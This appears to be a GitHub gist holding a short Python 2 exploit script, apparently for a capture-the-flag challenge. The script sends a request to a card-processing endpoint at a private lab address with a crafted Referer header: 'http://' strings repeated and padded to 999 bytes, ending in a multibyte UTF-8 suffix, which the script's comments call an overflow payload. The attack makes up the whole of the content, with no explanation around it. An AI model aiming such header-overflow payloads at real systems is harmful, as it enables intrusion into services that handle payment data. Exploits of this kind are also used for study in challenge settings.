Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Created August 19, 2019 13:46
Show Gist options
  • Save Jinmo/024f09f253cda16c4688e7c4d94f4732 to your computer and use it in GitHub Desktop.
Save Jinmo/024f09f253cda16c4688e7c4d94f4732 to your computer and use it in GitHub Desktop.
import requests
sess=requests.Session()
HOST,PORT='10.13.37.8',8888
# overflow_len: http://
# overflow_payload <- suffix
append=u'a\u3fff'.encode('utf8')
append=bytes(append)
print `append`
payload=('http://'*(len(append))).ljust(999-len(append),'a')+append
m,y='10','22'
number='0'
url='http://'+HOST+':'+str(PORT)+'/cc/process.js?card-number='+number+'&expiry-month='+m+'&expiry-year='+y
r = sess.get(url, headers={
'Referer': payload
}, allow_redirects=False)
print r.headers
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment